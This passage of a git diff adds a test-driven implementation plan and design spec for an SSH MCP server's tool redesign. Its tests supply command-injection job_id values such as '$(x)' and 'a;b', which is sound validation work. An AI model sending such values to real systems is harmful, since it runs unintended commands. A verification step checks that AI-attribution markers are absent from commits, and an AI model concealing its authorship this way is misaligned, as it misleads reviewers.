JSON.parse(r.content[0].text); + assert.strictEqual(res.data.job_id, 'my-build-1'); +}); + +await test('detach with a hostile job_id -> structured fail', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'detach', command: 'echo hi', job_id: '../x' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('invalid job id')); + assert.strictEqual(client.script.length, 0, 'builder threw before exec'); +}); +``` + +- [ ] **Run the test, expect FAIL.** `node tests/test-dispatcher-run.js` — fails: `unknown action "detach"`. + +- [ ] **Implement.** Edit `src/dispatchers/ssh-run.js`. `detach` is already in the `REQUIRED` map (Task 5). Add a renderer and the action branch. + + Renderer, near `renderScript`: + +```js +/** detach result -> job id / log path KV block. */ +function renderDetach(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_run', action: 'detach', server: result.server, + status: result.success ? 'launched' : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + return `${header}\n${indentBody(renderKV([ + ['job_id', result.data.job_id], + ['log_path', result.data.log_path], + ]))}`; +} +``` + + Action branch, after the `script` block: + +```js + if (action === 'detach') { + let built; + try { + built = buildDetachCommand(a.command, a.job_id ? { jobId: a.job_id } : {}); + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server })); + } + const startedAt = Date.now(); + let client; + try { client = await deps.getConnection(a.server); } + catch (e) { return toMcp(fail('ssh_run', e, { server: a.server })); } + + try { + await streamExecCommand(client, built.command, { + raw: true, timeoutMs: RUN_EXEC_TIMEOUT_MS, abortSignal: a.abortSignal, + }); + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server, action })); + } + return toMcp( + ok('ssh_run', + { action, job_id: built.jobId, log_path: built.logPath }, + { server: a.server, duration_ms: Date.now() - startedAt }), + { format: a.format, renderer: renderDetach }, + ); + } +``` + +- [ ] **Run the test, expect PASS.** `node tests/test-dispatcher-run.js` — all detach tests green. + +- [ ] **Commit.** + +``` +feat(ssh-run): add detach action launching a setsid background job +``` + +--- + +## Task 7: ssh_run — `job-status` and `job-kill` actions + +Add the last two actions. `job-status`: `buildJobStatusCommand(jobId, {offset})` → exec → `parseJobStatus`. `job-kill`: `buildJobKillCommand(jobId)` → exec → return the raw confirmation. The caller passes the previous `logSize` back as `since_offset` for an incremental log read. + +- [ ] **Write the failing test.** Append to `tests/test-dispatcher-run.js`, before `--- Summary ---`: + +```js +// --- job-status action -------------------------------------------------- +await test('job-status without job_id -> structured fail, never connects', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, args: { server: 's', action: 'job-status' }, + }); + assert.strictEqual(r.isError, true); + assert.strictEqual(client.script.length, 0); +}); + +await test('job-status reports a finished job with its exit code', async () => { + const client = fakeClient( + 'STATE=present\nRC=0\nPID=1234\nLOGSIZE=512\n##LOG##\nbuild complete'); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-status', job_id: 'job-7', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true); + assert.strictEqual(res.data.action, 'job-status'); + assert.strictEqual(res.data.state, 'done'); + assert.strictEqual(res.data.exit_code, 0); + assert.strictEqual(res.data.log_size, 512); + assert.strictEqual(res.data.log_chunk, 'build complete'); +}); + +await test('job-status reports a still-running job (rc absent)', async () => { + const client = fakeClient( + 'STATE=present\nRC=\nPID=4567\nLOGSIZE=88\n##LOG##\npartial'); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-status', job_id: 'job-8', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.data.state, 'running'); + assert.strictEqual(res.data.exit_code, null); +}); + +await test('job-status threads since_offset into the status command', async () => { + const client = fakeClient('STATE=present\nRC=\nPID=1\nLOGSIZE=9000\n##LOG##\ntail'); + await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-status', job_id: 'j', since_offset: 4096 }, + }); + // tail -c is 1-indexed: offset 4096 -> +4097 + assert(client.script[0].includes('4097'), 'since_offset + 1 threaded into tail -c'); +}); + +await test('job-status of a missing job -> unknown state', async () => { + const client = fakeClient('STATE=missing'); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-status', job_id: 'gone', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.data.state, 'unknown'); +}); + +await test('job-status with a hostile job_id -> structured fail', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-status', job_id: 'a;b' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('invalid job id')); + assert.strictEqual(client.script.length, 0); +}); + +// --- job-kill action ---------------------------------------------------- +await test('job-kill without job_id -> structured fail', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, args: { server: 's', action: 'job-kill' }, + }); + assert.strictEqual(r.isError, true); + assert.strictEqual(client.script.length, 0); +}); + +await test('job-kill signals the job process group and reports back', async () => { + const client = fakeClient('killed 4567'); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-kill', job_id: 'job-9', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true); + assert.strictEqual(res.data.action, 'job-kill'); + assert(client.script[0].includes('TERM'), 'graceful TERM in the kill command'); + assert(client.script[0].includes('KILL'), 'KILL escalation in the kill command'); + assert(String(res.data.result).includes('killed'), 'kill confirmation surfaced'); +}); + +await test('job-kill with a hostile job_id -> structured fail', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-kill', job_id: '$(x)' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('invalid job id')); + assert.strictEqual(client.script.length, 0); +}); +``` + +- [ ] **Run the test, expect FAIL.** `node tests/test-dispatcher-run.js` — fails: `unknown action "job-status"`. + +- [ ] **Implement.** Edit `src/dispatchers/ssh-run.js`. Both actions are already in the `REQUIRED` map (Task 5). Add two renderers and two action branches. + + Renderers, near `renderDetach`: + +```js +/** job-status result -> state / exit / log KV block. */ +function renderJobStatus(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_run', action: 'job-status', server: result.server, + status: result.success ? result.data.state : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + const d = result.data; + const kv = renderKV([ + ['state', d.state], + ['exit_code', d.exit_code == null ? '' : d.exit_code], + ['pid', d.pid == null ? '' : d.pid], + ['log_size', d.log_size], + ]); + const body = d.log_chunk ? `${kv}\n--\n${d.log_chunk}` : kv; + return `${header}\n${indentBody(body)}`; +} + +/** job-kill result -> the raw confirmation line. */ +function renderJobKill(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_run', action: 'job-kill', server: result.server, + status: result.success ? 'signalled' : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + return `${header}\n${indentBody(String(result.data.result || ''))}`; +} +``` + + Action branches, after the `detach` block: + +```js + if (action === 'job-status') { + let command; + try { + command = buildJobStatusCommand(a.job_id, { offset: a.since_offset }); + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server })); + } + const startedAt = Date.now(); + let client; + try { client = await deps.getConnection(a.server); } + catch (e) { return toMcp(fail('ssh_run', e, { server: a.server })); } + + let raw; + try { + const r = await streamExecCommand(client, command, { + raw: true, timeoutMs: RUN_EXEC_TIMEOUT_MS, abortSignal: a.abortSignal, + }); + raw = r.stdout; + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server, action })); + } + const st = parseJobStatus(raw); + return toMcp( + ok('ssh_run', { + action, + state: st.state, + exit_code: st.exitCode, + pid: st.pid, + log_size: st.logSize, + log_chunk: st.logChunk, + }, { server: a.server, duration_ms: Date.now() - startedAt }), + { format: a.format, renderer: renderJobStatus }, + ); + } + + if (action === 'job-kill') { + let command; + try { + command = buildJobKillCommand(a.job_id); + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server })); + } + const startedAt = Date.now(); + let client; + try { client = await deps.getConnection(a.server); } + catch (e) { return toMcp(fail('ssh_run', e, { server: a.server })); } + + let raw; + try { + const r = await streamExecCommand(client, command, { + raw: true, timeoutMs: RUN_EXEC_TIMEOUT_MS, abortSignal: a.abortSignal, + }); + raw = r.stdout; + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server, action })); + } + return toMcp( + ok('ssh_run', { action, result: String(raw || '').trim() }, + { server: a.server, duration_ms: Date.now() - startedAt }), + { format: a.format, renderer: renderJobKill }, + ); + } +``` + +- [ ] **Run the test, expect PASS.** `node tests/test-dispatcher-run.js` — all job-status + job-kill tests green; every earlier `ssh_run` test still passes. + +- [ ] **Commit.** + +``` +feat(ssh-run): add job-status and job-kill actions over job-tracker +``` + +--- + +## Task 8: Extend the `ssh_run` inputSchema in index.js + +The dispatcher handles four new actions, but the MCP `inputSchema` in `index.js` still advertises only `exec`/`sudo`/`fleet` and lacks the new args (`commands`, `isolate`, `job_id`, `since_offset`). Extend the schema so a client can actually call the new actions. + +- [ ] **Write the failing test.** The `ssh_run` schema in `index.js` is plain Zod with no dedicated unit test; assert against `index.js` as text, mirroring `test-index-registration.js`. Create `tests/test-run-schema.js`: + +```js +#!/usr/bin/env node +/** + * Pins the ssh_run inputSchema in src/index.js: the four Plan-5 actions + * (script, detach, job-status, job-kill) and their args must be advertised, + * else a client cannot invoke what the dispatcher now handles. + * Run: node tests/test-run-schema.js + */ +import assert from 'node:assert'; +import fs from 'node:fs'; +import path from 'node:path'; +import url from 'node:url'; + +const __dirname = path.dirname(url.fileURLToPath(import.meta.url)); +const indexSrc = fs.readFileSync(path.join(__dirname, '..', 'src', 'index.js'), 'utf8'); + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +// Isolate the registerToolConditional('ssh_run', { ... }) block. +function runBlock(src) { + const start = src.indexOf("registerToolConditional('ssh_run'"); + assert(start !== -1, 'ssh_run registration found'); + // up to the handler arrow that closes the schema object + const end = src.indexOf('}, async (args) => handleSshRun', start); + assert(end !== -1, 'ssh_run handler boundary found'); + return src.slice(start, end); +} + +console.log('[test] Testing ssh_run inputSchema\n'); + +await test('action enum advertises all seven actions', () => { + const block = runBlock(indexSrc); + for (const act of ['exec', 'sudo', 'fleet', 'script', 'detach', 'job-status', 'job-kill']) { + assert(block.includes(`'${act}'`), `action enum missing '${act}'`); + } +}); + +await test('commands arg is declared for the script action', () => { + const block = runBlock(indexSrc); + assert(/commands:\s*z\.array\(z\.string\(\)\)/.test(block), + 'commands should be an optional string array'); +}); + +await test('isolate arg is declared', () => { + assert(/isolate:\s*z\.boolean\(\)/.test(runBlock(indexSrc)), + 'isolate should be an optional boolean'); +}); + +await test('job_id arg is declared for detach / job-status / job-kill', () => { + assert(/job_id:\s*z\.string\(\)/.test(runBlock(indexSrc)), + 'job_id should be an optional string'); +}); + +await test('since_offset arg is declared for job-status', () => { + assert(/since_offset:\s*z\.number\(\)/.test(runBlock(indexSrc)), + 'since_offset should be an optional number'); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Run the test, expect FAIL.** `node tests/test-run-schema.js` — fails: action enum lacks `script`/`detach`/`job-status`/`job-kill`; the new args are absent. + +- [ ] **Implement.** Edit the `ssh_run` `registerToolConditional` block in `src/index.js`. + + Replace the `action` enum and add the four new args. The `server` field stays `z.string()` required (every new action needs a server). The full new `inputSchema`: + +```js + inputSchema: { + server: z.string().describe('Server name from configuration'), + action: z.enum(['exec', 'sudo', 'fleet', 'script', 'detach', 'job-status', 'job-kill']) + .describe('exec/sudo a command, fleet-exec across a group, run a script ' + + 'of commands, detach a long job, or check/kill a detached job'), + command: z.string().optional().describe('Command to run (actions: exec, sudo, detach)'), + commands: z.array(z.string()).optional() + .describe('Commands run in one shell with shared state (action: script)'), + isolate: z.boolean().optional() + .describe('Run each script command in its own shell -- no shared cd/env (action: script)'), + cwd: z.string().optional().describe('Working directory (actions: exec, sudo, fleet)'), + group: z.string().optional().describe('Server group name (action: fleet)'), + sudo_password: z.string().optional().describe('Sudo password, streamed via stdin (action: sudo)'), + job_id: z.string().optional() + .describe('Detached job id (actions: detach to set, job-status/job-kill to target)'), + since_offset: z.number().optional() + .describe('Log byte offset for an incremental read; pass back the prior log_size (action: job-status)'), + timeout: z.number().optional().describe('Command timeout in ms (actions: exec, sudo)'), + raw: RAW, + format: FORMAT, + }, +``` + + The `description` text above the `inputSchema` may stay as-is; optionally broaden it to mention scripts and jobs, but that is not required for the tests. + +- [ ] **Run the test, expect PASS.** `node tests/test-run-schema.js` — all schema assertions green. + +- [ ] **Run the full suite.** `node scripts/run-tests.mjs` — `56 files, passed, 0 failed`. Strictly higher than the 955 baseline, no regression. (Two new test files this plan: `test-dispatcher-find.js`, `test-run-schema.js`; `test-dispatcher-run.js` grew.) + +- [ ] **Commit.** + +``` +feat(ssh-run): advertise script/detach/job actions in the inputSchema +``` + +--- + +## Verification + +After Task 8, confirm the whole deliverable: + +- [ ] `node scripts/run-tests.mjs` — `56 files, passed, 0 failed`; `` strictly greater than 955. +- [ ] `node --check src/index.js && node --check src/dispatchers/ssh-find.js && node --check src/dispatchers/ssh-run.js` — clean. +- [ ] `node tests/test-tool-registry.js` / `test-index-registration.js` / `test-tool-annotations.js` — all assert 13 tools, green. +- [ ] `./scripts/validate.sh` — syntax + MCP startup check passes. +- [ ] Grep the new/edited files for AI-attribution markers (co-author trailers, "generated with" footers, vendor noreply emails) — zero hits. Commit messages likewise. + +--- + +## Self-review + +Performed after drafting; issues found and fixed inline: + +1. **`ssh_find` has no `src/tools/*.js` handler — the dispatcher template did not fit.** First draft modelled `ssh-find.js` on `ssh-docker.js`, which forwards to an injected `handlers.docker`. There is no find handler to forward to. Corrected: `ssh-find.js` is self-contained — it resolves the connection via `deps.getConnection` and calls `streamExecCommand` itself, the exact shape of `handleSshExecute` (`src/tools/exec-tools.js:31`). The registration block passes only `deps`, no `handlers`. Same correction applied to the four new `ssh_run` actions: `exec`/`sudo`/`fleet` delegate to handlers, but `script`/`detach`/`job-*` exec directly. + +2. **`streamExecCommand` would double-wrap the timeout.** Plan-5 builders already emit `timeout N sh -c '...'`. `streamExecCommand`'s default path runs `wrapWithTimeout`, producing `timeout -k 5 N sh -c 'timeout 20 sh -c ...'` — a redundant nested shell. Fixed: every Plan-5 command runs with `raw: true`, which `stream-exec.js:86` documents as skipping the wrapper. An in-process `timeoutMs` (60s find, 120s run) still guards a stuck channel. The `grep builds an rg/grep command` test asserts the emitted command still `startsWith('timeout ')` — proving the builder's own wrapper survives untouched. + +3. **Adding a 13th tool breaks three hardcoded-`12` test suites.** `test-tool-registry.js`, `test-index-registration.js`, and `test-tool-annotations.js` each assert `12` (and `test-tool-registry.js` also asserts `core` group size `3`). A naive "add `ssh_find`" would turn the suite red. Task 4 updates all three in the same task as the registration so the suite never regresses — and adds positive `ssh_find` assertions (`findToolGroup` → `core`, `readOnlyHint: true`) rather than only bumping numbers. + +4. **The nonce-threading contract is the load-bearing detail of `script`.** `buildScriptCommand` returns `{ command, nonce }`; `parseScriptSegments(stdout, nonce, commands)` trusts *only* `##SEG-##` lines. An early draft passed `commands` but dropped `nonce`, which throws `nonce is required`. The Task 5 implement step threads `built.nonce` explicitly, and the test `script runs the joined command and threads the real nonce` proves it: the fake client echoes a sentinel block built from the nonce *it extracts from the command it received* — only a correctly round-tripped nonce parses, so a dropped or wrong nonce yields zero segments and fails the assertion. + +5. **`requireArgs` `present()` accepts a non-array `commands`.** `action-validate.js`'s `present()` returns true for any non-empty value, including a string. `buildScriptCommand` would then throw `at least one command is required` (its own `Array.isArray` check) — caught, but with a vaguer message. Task 5 keeps an explicit `Array.isArray(a.commands)` guard in the dispatcher before the builder for a precise `commands must be a non-empty array` error. Both layers retained. + +6. **Tasks 2 and 3 are not genuinely red — `ssh-find.js` is wired whole in Task 1.** Splitting the dispatcher across three tasks is artificial: a single file with a `switch` over three actions is most honest written once. The TDD `expect-FAIL` step for locate/ls would pass immediately because Task 1's implement step already wired all three. Rather than fake it, Tasks 2-3 are explicit: they add *pinning* coverage, and the RED step documents the option to temporarily comment out a branch to observe a real failure. The alternative — Task 1 ships only grep, Tasks 2-3 add branches — was rejected: it would mean editing the same `switch` three times and re-reviewing it three times for no behavioral gain. Honest task boundaries beat ceremonial ones. + +7. **`detach` job-id passthrough.** `buildDetachCommand(command, { jobId })` — if `jobId` is omitted it auto-generates via `newJobId()`. Passing `{ jobId: undefined }` would hit `assertJobId(undefined)` → `invalid job id`. Fixed: the dispatcher passes `a.job_id ? { jobId: a.job_id } : {}` so an absent `job_id` lets the builder default. Test `detach launches a setsid job and returns its job id` (no `job_id` arg) covers the default path; `detach honors an explicit job_id` covers the supplied path. + +8. **`job-status` offset is 1-indexed inside the builder.** `buildJobStatusCommand(jobId, { offset })` emits `tail -c +${offset + 1}`. The dispatcher passes `since_offset` straight through as `offset` — it must NOT pre-add 1, or the offset double-shifts. The test asserts `4097` appears for `since_offset: 4096`, matching `job-tracker.js`'s own `buildJobStatusCommand: reads the log tail from a byte offset` test. The dispatcher is a thin pass-through; the +1 stays the builder's job. + +9. **Test count is not hardcoded.** The plan never writes a literal final pass count — the baseline (`955`, `54 files`) is stated as the current measurement, and each full-suite step says "strictly higher than 955, no regression" plus the new file-count delta. If the baseline shifts before this plan runs, the instructions still hold. + +10. **Fake ssh2 client shape.** `streamExecCommand` calls `client.exec(cmd, cb)`, then on the stream binds `.on('data')`, `.on('close')`, `.stderr.on('data')`, and may call `.close()` / `.signal()`. The `fakeClient` in both test files implements exactly that surface and emits `data` then `close(0, null)` on `setImmediate` so the promise resolves. Verified against `src/stream-exec.js` lines 88-160. Both `test-dispatcher-find.js` and the new section of `test-dispatcher-run.js` carry their own copy — the two suites stay independently runnable, consistent with how the existing dispatcher tests each define their own `spy()`. diff --git a/docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md b/docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md new file mode 100644 index 0000000..7a08254 --- /dev/null +++ b/docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md @@ -0,0 +1,319 @@ +# ssh-mcp v4 — Design Specification + +**Date:** 2026-05-16 +**Status:** Approved for implementation planning. Section-by-section approval gate waived by explicit user direction. +**Supersedes:** the 51-tool surface of the current `claude-code-ssh` build. + +--- + +## 1. Goal + +Make the `ssh-manager` MCP server a decisive improvement over Claude running raw +`ssh` through the Bash tool. Four targets, in priority order: + +1. **Fewer tokens** — tool-schema footprint and per-call output volume. +2. **Faster** — connection reuse, no per-call SSH handshake, single-round-trip command chains. +3. **Robust** — structured results, correct per-segment exit codes, bounded output, safety rails. +4. **Clean output** — tool results that look far less sloppy than a raw `ssh` dump. + +### Honest constraint on goal 4 + +MCP tool results are delivered as `type: "text"` content and display in the Claude Code +transcript as **plain / preformatted text, not rendered markdown**. `**bold**`, GFM +`| tables |`, and triple-backtick fences appear as literal characters in the tool-result +block. v4 therefore does **not** rely on markdown rendering. Output is engineered as +disciplined, aligned, ASCII plain text that is clean and scannable as-is. Markdown that +also happens to render — when Claude quotes a result into its own reply — is a bonus, +never load-bearing. Fenced code blocks are replaced by 2-space indentation: clean as +plain text, renders as a code block if a client does parse markdown, and not breakable +by payload content (a fenced block breaks when the payload itself contains backticks). + +--- + +## 2. Context and problem + +- The repo at `/Users/rogerfrench/claude-code-ssh` is the live MCP build. It already has + `src/output-formatter.js` (ASCII render, head+tail truncation), `src/structured-result.js`, + 17 modular `src/tools/*.js` handlers, and ~677 passing tests. +- It registers **51 tools across 7 groups**. Claude Code defers a tool surface this large: + the `mcp__ssh-manager__*` tools are not loaded into context and require `ToolSearch` to + discover. Claude does not proactively discover them and falls back to the always-loaded + Bash tool running raw `ssh`. +- Measured schema cost via the actual MCP wire serializer: 51 tools is approximately + 14,000 tokens (not the ~43k previously claimed — that figure was a character count of + source, not the serialized schema). + +v4 fixes this with three coupled changes: consolidate the tool surface, make output +token-efficient, and make the tools un-deferred and instruction-backed so Claude reaches +for them. + +--- + +## 3. Tool surface — 51 collapsed to 13 fat verb-tools + +Each tool covers one domain. Signature is `server` + an `action` enum + action-scoped +args. Fat verb-tools were chosen over *minimal core + discovery tool* (a discovery call +recreates the deferral failure this design exists to fix) and over *1-2 mega-tools* (one +giant op enum is an unscannable schema). + +| Tool | Actions | Absorbs (from the 51) | +|---|---|---| +| `ssh_run` | exec, sudo, script, fleet, detach, job-status, job-kill | execute, execute_sudo, execute_group | +| `ssh_file` | upload, download, sync, read, write, edit, diff, deploy, deploy-artifact | upload, download, sync, cat, edit, diff, deploy, deploy_artifact | +| `ssh_find` | grep, locate, ls | NEW — remote search | +| `ssh_logs` | tail, follow-start, follow-read, follow-stop, journal | tail, tail_start, tail_read, tail_stop, journalctl | +| `ssh_service` | status, start, stop, restart, enable, disable | service_status, systemctl | +| `ssh_health` | check, watch, procs, alerts | health_check, monitor, process_manager, alert_setup | +| `ssh_db` | query, list, dump, import | db_query, db_list, db_dump, db_import | +| `ssh_backup` | create, list, restore, schedule | backup_create, backup_list, backup_restore, backup_schedule | +| `ssh_session` | start, send, list, close, replay, memory | session_start, session_send, session_list, session_close, session_replay, session_memory | +| `ssh_net` | tunnel-open, tunnel-list, tunnel-close, port-test | tunnel_create, tunnel_list, tunnel_close, port_test | +| `ssh_docker` | ps, logs, exec, restart, inspect, compose | docker (its existing multi-action surface, kept first-class) | +| `ssh_fleet` | servers, groups, aliases, profiles, hooks, keys, history, connections | list_servers, group_manage, alias, command_alias, profile, hooks, key_manage, connection_status, history | +| `ssh_plan` | run, approve | plan | + +13 tools. Every one of the 51 current tools maps onto these — nothing is dropped. +`ssh_plan` is retained as its own tool because it is a meta-orchestrator: its `steps` +dispatch table is rewritten to the v4 verb+action namespace. `ssh_deploy_artifact` becomes +`ssh_file action: deploy-artifact`. + +### Action-arg validation + +MCP `inputSchema` cannot express "argument X is required only when `action` = Y". Therefore: + +- Every action-scoped argument is declared optional in the schema. Its description names + the actions it applies to, e.g. `"Remote file path (actions: read, write, edit, diff)"`. +- Each dispatcher checks a per-action required-arg map at entry and returns a structured + `fail()` naming any missing arguments and the action's expected argument set. +- camelCase argument aliases (`localPath` alongside `local_path`, etc.) are dropped. v4 + is a clean break; arguments are snake_case only. This removes roughly 1k tokens of + duplicated schema. + +### Dispatcher reality + +The claim is "re-facade, not rewrite": the 13 tools are dispatchers over the existing, +tested handler bodies in `src/tools/*.js`. The handler bodies are not rewritten. However, +the dispatchers are not trivially thin — existing handlers take divergent context objects +(`{getConnection, args}`, `{getConnection, getServerConfig, args}`, +`{getConnection, resolveGroup, args}`, `{getConnection, getSftp, args}`, the session +handler's `_openShellStream`, the plan handler's `dispatch`). Each dispatcher assembles +the correct per-action context. A `ctx-factory` helper centralizes this so the 13 +dispatchers stay readable. + +--- + +## 4. Output model + +One render path for all 13 tools, extending `src/output-formatter.js`. + +### Format + +- `format` argument: `compact` (default) | `json` | `markdown`. +- **`compact`** (default): for a small single-line result, one line — + `[ok] ssh_run exec · devcentos · exit 0 · 0.4s :: `. For larger output, + a header line followed by the body indented 2 spaces. No fenced code blocks. No echo of + the command back (it is already in the tool-call arguments the model holds). +- **`json`**: the full structured result object, always valid parseable JSON, regardless + of the compact-mode optimizations. Used by machine consumers and by `ssh_plan` when it + calls sub-tools internally. +- **`markdown`**: same as compact but payloads wrapped in fences — retained only for + clients that are known to render markdown in tool results. + +### Header grammar + +Every tool emits a header line built by a single shared `renderHeader()` primitive. Fixed +slot order, one divider (` · `): + +``` + · · · · +``` + +Markers: `[ok]` / `[err]` / `[warn]`. Omitted slots collapse; slots never reorder. A +single regex test asserts every tool's header conforms. + +### Body rules + +- Tabular data, 2 or more rows (process lists, db rows, fleet results, disk mounts): + aligned ASCII table. Reads as a grid in plain text; renders as a table if parsed. +- A single record's fields (service status, one health snapshot): 2-column key/value table. +- Free-form command stdout and logs: 2-space-indented block. Never fenced. +- Multi-row results: failed/abnormal rows sorted to the top, with a summary count as the + first body line (e.g. `2/7 FAILED`). +- `defaultRender` (fallback when a tool ships without a custom renderer) emits a flat + key/value table — never a raw `JSON.stringify` blob. Every action of every tool ships + with a real renderer; the fallback is a safety net, not a plan. + +### Output compression + +A new `src/command-compressors.js` recognizes command type and compresses noisy output, +rtk-inspired. Rules: + +- Compression runs in this fixed order: raw stdout -> ANSI strip -> per-command compressor + -> head+tail truncation -> render. Compressors must see un-truncated input. +- **Lossless on signal:** a compressor never drops a row that is an error, a warning, a + non-zero exit, or a resource at/near capacity. It compresses only the boring rows. +- Every compressed result ends with the exact escape hatch, e.g. + `> 1792 lines elided -- re-run with raw: true or grep: PATTERN`. +- `raw: true` is a universal argument that disables all compression and truncation + shaping for that call. +- Specific compressors: `ls` drops the `total` line and trims; `ps` shows top-N by the + requested sort but keeps full argv for the top-N and for any process matching a filter, + clipping only the long tail; `df` never filters by filesystem type (a full tmpfs is a + real incident) — it sorts by percent-used descending; `git log` becomes oneline only + when no `--format`/`-p` was requested; test-runner output keeps failures plus the + summary; unrecognized output falls back to head+tail. + +--- + +## 5. Adoption + +The consolidation is necessary but not sufficient — Claude must also choose these tools. + +- **Un-deferred surface.** 13 tools with a measured schema small enough that Claude Code + keeps them loaded (see section 8 gate). Always loaded means always visible. +- **Selling descriptions.** Each tool description names the bash it replaces, e.g. + `ssh_logs`: "Read remote logs. Use instead of `ssh host journalctl` — output is capped + and filtered so it will not flood context." +- **CLAUDE.md rule.** A rule in the project `CLAUDE.md` and the user's global rules: for + configured SSH servers, use `ssh_*` MCP tools, not raw `ssh` via Bash. +- **PreToolUse hook.** A hook on the Bash tool detects simple `ssh ` / `scp` / `rsync` + invocations against a configured host and emits a soft, non-blocking nudge toward the + MCP tool. Best-effort: it handles simple invocations and passes complex command lines + through unchanged. Fail-open. + +--- + +## 6. Real bash-ssh patterns covered + +Patterns Claude habitually runs via raw `ssh`, and how v4 absorbs each: + +- **`cmd1; cmd2; cmd3` chains.** `ssh_run action: script` with a `commands` array. Run in + a **single exec** over the pooled connection, segments joined server-side with an + exit-capturing sentinel (after each segment: `printf '\n##SEG %d %d##\n' $?`). The + renderer splits on the sentinel and reports a per-segment exit code. One round-trip, + per-segment exits, and shared shell state (`cd`, env) preserved across segments. An + optional `isolate: true` runs each segment as a separate exec for the rare case that + needs shell-state isolation. +- **Blind `grep -rn`.** `ssh_find action: grep`. Structured hits (file, line, text), a + match cap that stops the walk via `head` (SIGPIPE), N context lines. See section 7 for + the mandatory server-side bounds. +- **Heredoc to a remote file** (`ssh host 'cat > f <<"EOF" ... EOF'`). `ssh_file + action: write` with a `content` argument, transferred via SFTP. No shell-quoting or + heredoc-delimiter hazard. +- **Backgrounded long jobs** (`setsid nohup script & disown`, poll a logfile). + `ssh_run action: detach` and `action: job-status` / `job-kill`. See section 7. + +--- + +## 7. Build approach + +v4 is a re-facade of the existing handlers plus a bounded amount of new code. + +### Reused unchanged + +The handler bodies in `src/tools/*.js`, `src/stream-exec.js`, connection pooling, the +SFTP path, `src/structured-result.js`. + +### New or rewritten + +- 13 dispatcher modules (one per tool) plus a `ctx-factory` helper. +- `src/command-compressors.js` — the per-command output compressors. +- `src/output-formatter.js` — extended: `renderHeader()`, compact format, indentation + instead of fences, the body rules. The incorrect comment claiming fences "render with a + subtle tint in Claude Code" is removed. +- `ssh_find` handler — new. Shells out to remote `grep`/`find`; parses to structured hits. +- Job tracking for `ssh_run detach` — see below. +- `src/tool-registry.js` and `src/index.js` registration — rewritten for the 13 tools. +- The PreToolUse Bash hook script. + +### `ssh_run detach` job model + +State lives on the remote server, not in MCP memory, so jobs survive an MCP restart and +pooled-connection eviction. + +- `detach` launches: `setsid sh -c '; echo $? > $JOBDIR/rc' > $JOBDIR/log 2>&1 & + echo $! > $JOBDIR/pid`, where `JOBDIR` is `~/.ssh-manager/jobs//` on the remote + host. Returns the job id and log path. +- `job-status` reads `rc` (presence = finished, with exit code), `pid`, and the new tail + of `log` using offset tracking (the same incremental-read mechanism as + `ssh_logs follow-read`). Job completion is decided by the `rc` file's presence, not by + PID liveness, so there is no PID-reuse race. +- `job-kill` reads `pid` and terminates the process group. + +### Command timeout + +The exec path escalates on timeout: send `INT`, grace period, then `KILL`. Non-raw +commands are additionally wrapped in the OS `timeout` utility so a process ignoring +signals is still bounded server-side. + +### `ssh_find` server-side bounds + +Baked into the emitted command, not just output truncation: + +- A hard `timeout ` wrapper on the remote `grep`/`find`. +- Default exclusions: prune `/proc`, `/sys`, `/dev`, `/run`; `-xdev` (do not cross mounts) + unless the caller opts in; skip `.git` directories. +- A match cap enforced by piping through `head -n ` so the walk stops early on + SIGPIPE rather than scanning the whole tree. +- A `path` argument is required; a bare `/` root is refused without an explicit override. +- Prefer `rg` if present on the remote host, fall back to `grep`. + +### Connection 